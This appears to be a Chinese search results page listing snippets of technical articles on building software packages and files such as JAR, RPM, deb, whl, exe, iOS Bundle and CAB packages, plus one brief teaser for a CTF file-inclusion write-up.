  • BugkuCTF:文件包含2 CTF实战练习:http://120.78.xx.xxx:8013 这道题目看起来又像是跟前一道题是差不多的样子,继续先查看index.php里面的内容: 哎~这次好像显示的并不是base64编码的内容,但是感觉起来这个...
  • JAR文件包及jar命令详解

    千次阅读 2014-04-07 20:20:50
    如何把 java 程序编译成 .exe 文件?使用制作可执行 JAR 文件包的方法就是最佳选择了,何况它还能保持Java 的跨平台特性。
  • RPM包制作之Spec文件详解

    千次阅读 2019-02-25 12:04:37
    不是版本太低就是文件分布太野路子”,此时我们需要自己订制软件包的需求,我们会把一些源码按照我们的需求来做成rpm,其中的Spec文件制作RPM的核心。下面我们以制作NGINX的RPM开始介绍其制作方法。以下操作...
  • 怎么在Rstudio中制作R 请详细描述 谢谢 找不到做好的文件夹 愁死了 谢谢
  • 将exe和dll文件打包成单一的启动文件 当我们用VS或其它编程工具生成了可执行exe要运行它必须要保证其目录下有一大堆dll库文件,看起来很不爽,用专业的安装程序生成软件又显得繁琐,下面这个方法教你如何快速把...
  • 为现有的二进制文件制作deb

    千次阅读 2013-12-03 22:11:26
    如何制作Deb和相应的软件仓库,其实这个很简单。这里推荐使用dpkg来进行deb的创建、编辑和制作。 1. deb文件结构 deb 软件包里面的结构:它具有DEBIAN和软件具体安装目录(如etc, usr, opt, tmp等)。在...
  • 将python发布到PyPI和制作whl文件

    万次阅读 2018-04-20 23:33:13
    Wheel和Egg都是python的打包格式,目的是支持不需要编译或制作的安装过程,实际上也是一种压缩文件,将.whl的后缀改为.zip即可可看到压缩包里面的内容。按照官网说法,wheels是发行版Python的新标准并且要取代....
  • Pycharm下将py文件打包成exe文件

    千次阅读 2018-06-12 13:01:38
    在Terminal下输入:“PyInstaller -F -w *.py” 就可以制作出exe。生成的文件放在同目录dist下。 -F(注意大写)是所有库文件打包成一个exe,-w是不出黑色控制台窗口。 不加-F参数生成一堆文件,但运行快。压缩后...
  • iOS生成Bundle 资源文件包与使用

    千次阅读 2019-03-04 15:20:25
    Bundle 文件,简单理解,就是资源文件包。我们将许多图片、XIB、文本文件组织在一起,打包成一个 Bundle 文件。方便在其他项目中引用包内的资源。 Bundle 文件是静态的,也就是说,我们包含到包中的资源文件作为一个...
  • 大多数 rpm 制作都是用源码来编译构建,而我的需求是直接将可运行的二进制文件制作成 rpm ,而且是在 Ubuntu 系统上。网上的大部分资料都是源码来制作 rpm ,且比较零乱、不完整。rpm 制作的重要一步就是...
  • rpm补丁文件和升级包制作教程

    千次阅读 2017-07-20 16:39:33
    1.介绍 在开始介绍之前,首先表达一个观点,一般不推荐使用root构建构建RPM,尤其对RPM... RPM是一种优秀的软件包安装管理系统,而RPM源码则是RPM系统中重要的组成部分,是其他各种RPM母体,其他种类的RPM
  • 转自:...通常回答只有两种,一种是制作一个可执行的 JAR 文件包,然后就可以像.chm 文档一样双击运行了;而另一种是使用 JET 来进行 编译。但是 JET 是要用钱买的,而且
  • deb包制作中control文件说明

    万次阅读 2013-07-04 09:06:44
    deb包制作中control文件说明 一、制作deb的方法 使用dpkg方法创建Ubuntu debdpkg是最基本的制作deb的方法,基本步骤如下: 1、$ tar xvjf fceu-0.98.12.src.tar.bz2 // 解包  2、$ mv fceu ...
  • 使用GHOST打包制作gho镜像文件

    千次阅读 2016-01-16 10:34:09
    首先电脑里面必须要有ghost软件,...进入启动盘里的PE微型系统界面,打开PE里面的Ghost.exe文件。 之后,选择菜单 选择菜单 Local(本机)--Partition(分区)--To Image(到镜像) 选择之后回车键(Enter)
  • 通常回答只有两种,一种是制作一个可执行的 JAR 文件包,然后就可以像.chm 文档一样双击运行了;而另一种是使用 JET 来进行 编译。但是 JET 是要用钱买的,而且据说 JET 也不是能把所有的 Java 程序都编译成执行文件...
  • wheel是一个已经编译好的,在安装时不需要编译过程,安装whl文件时要比发布的源文件安装要快。 在如上第2步后,输入如下命令即可在生成.whl python setup.py bdist_wheel ...
  • Python 技术篇-将项目打包成whl文件实例演示,whl制作方法。 通过`pip help wheel`查看wheel的命令。 -w, --wheel-dir &amp;lt;dir&amp;gt;这就是whl的打包命令。 什么版本的python就会生成对应版本的...
  • MOTO sbf文件 打包 封包 修改

    千次阅读 2012-08-28 16:17:44
    LINUX 操作系统手机刷机 操作系统手机刷机(.SBF 文件 制作、修改方法 文件)制作制作 By shanxin96-2007.2.20 第一种修改方法: 第一种修改方法:利用 WINHEX 软件 一、获得 .smg 文件 获得 .smg 文件的两...
  • 把EXE和配置文件打包为单文件EXE

    千次阅读 2015-07-18 14:56:46
    将所有的文件打包成一个RAR压缩包,没错,直接打成RAR! 第二步:解压选项 1、在压缩包上双击,选“自解压格式” 2、配置选项 选中第一个模块,然后选“高级自解压选项” 在“常规”选项...
  • rpmbuild制作rpm

    万次阅读 2017-06-15 00:12:51
    什么是rpm?rpm 相当于windows中的安装文件,它会自动处理软件包之间的依赖关系。 rpm优点: 管理系统简单,通过几个命令...打rpm 需要的东西有 源码、spec文件(打rpm的脚本)、rpmbuild工具。1. 安装rpmbuil
  • 将exe和dll文件打包成单一的启动文件 当我们用 VS 或其它编程工具生成了可执行exe要运行它必须要保证其目录下有一大堆dll库文件,看起来很不爽,用专业的安装程序生成软件又显得繁琐,下面这个方法教你如何快速把...
  • [root@node01 ~]# mkdir -p ~/github/cloudera [root@node01 ~]# cd ~/github/cloudera [root@node01 ~]# git clone ...[root@node01 ~]# cd cm_ext [root@node01 ~]# mvn package
  • 制作CAB

    千次阅读 2016-12-30 16:01:09
    制作CABinf文件INF是Device INFormation File的英文缩写,是Microsoft公司为硬件设备制造商发布其驱动程序推出的一种文件格式,INF文件中包含硬件设备的信息或脚本以控制硬件操作。在INF文件中指明了硬件驱动该...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 307,626
精华内容 123,050
关键字:

如何制作文件包